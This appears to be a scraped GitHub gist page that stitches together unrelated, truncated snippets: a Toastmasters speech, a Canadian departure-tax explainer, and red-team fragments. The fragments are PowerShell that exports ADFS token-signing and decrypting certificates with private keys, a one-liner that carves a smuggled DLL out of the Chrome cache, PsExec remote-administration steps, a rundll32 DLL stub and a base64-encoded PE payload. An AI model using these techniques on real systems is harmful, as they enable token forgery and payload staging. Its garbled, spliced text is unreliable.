Skip to content

Instantly share code, notes, and snippets.

View justaguywhocodes's full-sized avatar

Toussaint Louverture justaguywhocodes

View GitHub Profile
Fellow Toastmasters, distinguished guests, and friends—good [morning/afternoon/evening]! As your President, it's my honor to welcome you to this week's meeting. Today, we gather under the inspiring theme of Black Heritage Appreciation—a celebration of the rich tapestry of history, culture, and resilience that has shaped our world.Black heritage is more than a chapter in history books; it's a living legacy of triumph over adversity. Think of trailblazers like Dr. Martin Luther King Jr., whose eloquent words ignited a movement for equality, or Madam C.J. Walker, the first self-made female millionaire in America, who built an empire from innovation and determination. From the rhythms of jazz born in New Orleans to the groundbreaking achievements of scientists like Katherine Johnson, whose calculations propelled us to the moon—Black contributions have enriched every facet of society.In Toastmasters, we value communication and leadership, qualities exemplified by icons like Frederick Douglass, who escaped slavery
Canada does impose a "departure tax" on individuals who permanently emigrate and cease to be tax residents. This is not a flat fee but rather a capital gains tax triggered by a "deemed disposition" of assets under the Income Tax Act. It's designed to tax unrealized gains that accrued while you were a Canadian resident. Here's a breakdown of how it works, based on current rules as of 2026.When It AppliesThe departure tax kicks in when you become a non-resident of Canada for tax purposes. This typically happens if you sever residential ties (e.g., sell your home, move family abroad, spend less than 183 days in Canada annually, and establish residency elsewhere).
It's applied in the year you emigrate, on the date you cease residency.
Canada taxes your worldwide income up to the departure date as a resident, and only Canadian-sourced income afterward as a non-resident.
If you return to Canada within five years, you may be able to unwind some effects, but that's case-specific.
Assets Affected and ExceptionsDee
# Retrieve Token-Signing Certificate
$signingCert = Get-AdfsCertificate -CertificateType "Token-Signing"
Export-PfxCertificate -Cert $signingCert.Certificate -FilePath "C:\temp\ADFS_Signing.pfx" -Password (ConvertTo-SecureString -String "YourSecurePassword!" -Force -AsPlainText)
# Retrieve Token-Decrypting Certificate
$decryptingCert = Get-AdfsCertificate -CertificateType "Token-Decrypting"
Export-PfxCertificate -Cert $decryptingCert.Certificate -FilePath "C:\temp\ADFS_Decrypting.pfx" -Password (ConvertTo-SecureString -String "YourSecurePassword!" -Force -AsPlainText)
$d="$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Cache\Cache_Data\"; if (Test-Path $d) { gci $d -File | ForEach-Object { try { $s = [System.Text.Encoding]::Default.GetString([System.IO.File]::ReadAllBytes($_.FullName)); if ($s -match '(?s)INDLL(?<content>.*?)OUTDLL') { [System.IO.File]::WriteAllBytes("$d\hello.dll", [System.Text.Encoding]::Default.GetBytes($matches['content'])); Write-Host " found in $($_.Name). Extracted to $d\hello.dll"; break } } catch { Write-Warning "Error processing $($_.Name): $_" } }; if (!$?) { Write-Host "No matches found" } }
Step 0: Pre-requisites - Enable Remote Administration on the Remote Machine
We need to ensure the remote machine allows remote administration. We'll do:
0.1 Enable File and Printer Sharing (SMB) and Remote Administration exceptions in Windows Firewall.
We can use netsh to enable the firewall rules. We'll run these commands on the remote machine. Since we are testing, we can use PsExec to run these commands remotely.
Note: This step might already be done in your environment. If you are in a lab and the firewall is off, you can skip. But for completeness:
cmd
Copy
// testdll.c
// Simple Windows DLL that exports a function compatible with rundll32.exe
// When called via rundll32.exe testdll.dll,ExecuteTest
// it writes "test executed" to C:\Users\Public\Downloads\test.txt
#include <windows.h>
#include <stdio.h>
// Exported function (rundll32-compatible signature)
extern "C" __declspec(dllexport) void CALLBACK ExecuteTest(
VFZxUUFBTUFBQUFFQUFBQS8vOEFBTGdBQUFBQUFBQUFRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFDQUVBQUE0ZnVnNEF0QW5OSWJnQlRNMGhWR2hwY3lCd2NtOW5jbUZ0SUdOaGJtNXZkQ0JpWlNCeWRXNGdhVzRnUkU5VElHMXZaR1V1RFEwS0pBQUFBQUFBQUFDdUVMaXo2bkhXNE9weDF1RHFjZGJnNHdsRjRPNXgxdUJ0K05maDZYSFc0RzM0MWVIcGNkYmdiZmpTNGVKeDF1QnQrTlBoNFhIVzRKUHcxK0hvY2RiZzZuSFg0TTl4MXVCOCtOL2g2SEhXNEh6NDF1SHJjZGJnZlBncDRPdHgxdUI4K05UaDYzSFc0RkpwWTJqcWNkYmdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVVFVUFBR1NHQmdBSUducHBBQUFBQUFBQUFBRHdBQ0lnQ3dJT0xBQVNBQUFBSEFBQUFBQUFBQ1FVQUFBQUVBQUFBQUFBZ0FFQUFBQUFFQUFBQUFJQUFBWUFBQUFBQUFBQUJnQUFBQUFBQUFBQWdBQUFBQVFBQUFBQUFBQUNBR0FCQUFBUUFBQUFBQUFBRUFBQUFBQUFBQUFBRUFBQUFBQUFBQkFBQUFBQUFBQUFBQUFBRUFBQUFBQTVBQUJNQUFBQVREa0FBR1FBQUFBQVlBQUErQUFBQUFCUUFBRFVBUUFBQUFBQUFBQUFBQUFBY0FBQUxBQUFBREF6QUFCd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQThERUFBRUFCQUFBQUFBQUFBQUFBQUFBd0FBQUlBUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFMblJsZUhRQUFBQVlFQUFBQUJBQUFBQVNBQUFBQkFBQUFBQUFBQUFBQUFBQUFBQUFJQUFBWUM1eVpHRjBZUUFB
https://www.visualcapitalist.com/wp-content/uploads/2023/08/global-economy-2023-1200px.jpg
Step-by-Step Commands
Install the PowerForensics Module (if not installed):
powershell
Copy
Install-Module -Name PowerForensics -Force -Confirm:$false -Scope CurrentUser
Create a Test File (e.g., C:\test\malicious.txt):
powershell
Copy